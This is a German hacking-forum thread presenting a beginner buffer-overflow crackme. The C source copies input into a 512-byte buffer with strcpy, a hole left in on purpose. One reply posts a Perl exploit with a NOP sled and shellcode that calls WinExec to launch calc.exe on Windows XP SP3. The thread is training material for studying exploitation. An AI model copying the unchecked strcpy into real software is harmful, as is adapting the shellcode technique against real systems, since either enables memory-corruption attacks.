Hackerboard Wiki HaboBlog
Hackerboard bei Facebook Hackerboard bei Google+ Hackerboard bei Twitter

[HaBo]

 
Hacks & Crackmes Tests, Fragen oder Hilfestellungen. Crackmes und Hackits werden hier diskutiert.

[C] Anfänger Buffer Overflow Crackme

Diskussion: [C] Anfänger Buffer Overflow Crackme im Forum Hacks & Crackmes, in der Kategorie Software Home; Anzeige Ich habe mich vor einiger Zeit (und nach den Klausuren wieder ) mit Buffer Overflows beschäftigt und dabei ist ...

Antwort
Alt 29.12.11, 03:31   #1 (permalink)
 
Benutzerbild von Sleepprogger
 
Registriert seit: 17.10.09
Sleepprogger Leistung: Facit NTK
Likes: 10
Standard [C] Anfänger Buffer Overflow Crackme

Anzeige

Ich habe mich vor einiger Zeit (und nach den Klausuren wieder ) mit Buffer Overflows beschäftigt und dabei ist folgendes kleines "CrackMe" entstanden.
Die alten Hasen hier werd sich darüber sicher scheckig lachen, aber für alle blutigen Anfänger ist das ganze vielleicht interessant.
Ich war auf jeden Fall stolz auf mich als ich es endlich geschafft hatte XD

Bei dieses CrackMe gibt es die Sourcen dazu.
Wenn jemand Probleme beim kompilieren haben sollte kann ich das ganze auch noch in ausführbarer Form hochladen.

Kompiliert und getest habe ich bis jetzt unter Debian 32bit per gcc und unter Windows 7 64bit per MinGw. Allerdings sollte es kein Problem sein diese eine Datei mit irgendeinem C Compiler zu kompilieren

Ziel des ganzen ist es durch eine Eingabe die "secFunc" oder vlt. sogar andere Sachen aufzurufen.

Als Lösung lasse ich alles gelten was die Ausgabe in der "secFunc" oder eine beliebige andere Methode anhaut.

Ein kleiner Tip vielleicht noch: Ich habe mir dazu ein kleines Program geschrieben (ein Script hätte es auch getan) was etwas ausgibt und die Ausgabe direkt in die Executable umleitet (./FiesahKraekah | ./CrackMyBuffer).

Source von CrackMyBuffer   

Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define LEN     512			// buffersize

void secFunc(void){
	printf("r u a wizard ?\n");
//	exit(1);
}
void weakFunc2(char *data){
	char smallBuffer[LEN];
	strcpy(smallBuffer, data);
	printf("%s copied\n", data);
}

int main(void) {
	char toLarge[1024];
	if(scanf("%1024s", toLarge) < 0){	// \0 ?
		printf("Trouble getting input\n");
		exit(0);
	}
	weakFunc2(toLarge);
	return 0;
}
__________________
Anonymisierungsdienste I
Send from my PC using Firefox...

Geändert von Sleepprogger (29.12.11 um 10:22 Uhr)
Sleepprogger ist offline   Mit Zitat antworten
Alt 29.12.11, 06:30   #2 (permalink)
 
Benutzerbild von Hackse
 
Registriert seit: 31.07.06
Hackse Leistung: 8086
Likes: 32
Standard

Wo ist denn LEN deklariert?
Hackse ist offline   Mit Zitat antworten
   
HaBOT
 
- Anzeige -

Werbung ist gerade online    
Alt 29.12.11, 10:25   #3 (permalink)
Themenstarter
 
Benutzerbild von Sleepprogger
 
Registriert seit: 17.10.09
Sleepprogger Leistung: Facit NTK
Likes: 10
Standard

Ups, das war irgendwie bei den Aufräumarbeiten abhanden gekommen.
Habs eingefügt.
Nur ein tip, keine Lösung   
Falls das ganze bei jemandem gar nicht funktionieren will, vlt. ein bischen an den beiden Bufferwerten schrauben ;)
__________________
Anonymisierungsdienste I
Send from my PC using Firefox...
Sleepprogger ist offline   Mit Zitat antworten
Alt 07.01.12, 14:09   #4 (permalink)
 
Registriert seit: 27.09.05
ReDoX Leistung: Z3
Likes: 4
Standard

Moin,

damit das hier nicht ungelöst bleibt im Anhang eine Lösung, die calc.exe auf einem Windows XP SP3 spawnt.

Script   
Code:
#!/usr/bin/perl -w

my $ret = "\x7C\x80\x17\x1E"; #kernel32.7C80171E C3 RETN
my $shellcode = "\xB9\xAD\x23\x86\x7C\x33\xD2\x88\x54\x24\x08\x8B\xC4\x6A\x01\x50\xFF\xD1";

#0012FB02   B9 AD23867C      MOV ECX,kernel32.WinExec
#0012FB07   33D2             XOR EDX,EDX
#0012FB09   885424 08        MOV BYTE PTR SS:[ESP+8],DL ; Binaere null hinter calc.exe
#0012FB0D   8BC4             MOV EAX,ESP
#0012FB0F   6A 01            PUSH 1
#0012FB11   50               PUSH EAX
#0012FB12   FFD1             CALL ECX                                 ; kernel32.WinExec

my $exploit = "calc.exe\xFF".("\x90" x 393).$shellcode.("\x90" x 96).reverse($ret);

open MYFILE, '>exploit';
print MYFILE $exploit;
close MYFILE


--rdx
Angehängte Dateien
Dateityp: zip Overflow.zip (3,8 KB, 9x aufgerufen)
ReDoX ist offline   Mit Zitat antworten
Antwort
   
- Anzeige -

Werbung ist gerade online    

[HaBo] » Software Home » Hacks & Crackmes » [C] Anfänger Buffer Overflow Crackme
Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks sind aus
Pingbacks sind aus
Refbacks sind aus


Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
Buffer Overflow MrNiceGuy Code Kitchen 4 07.06.05 12:56
Buffer Overflow ERit Applikationen 0 24.04.05 15:24
Buffer Overflow Exploits ERit (In)security allgemein 0 24.04.05 15:19
BOF(BUffer Overflow) in Delphi? Stromer Code Kitchen 0 09.02.04 19:23
Buffer Overflow? Bananshake (In)security allgemein 13 12.02.02 19:40


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61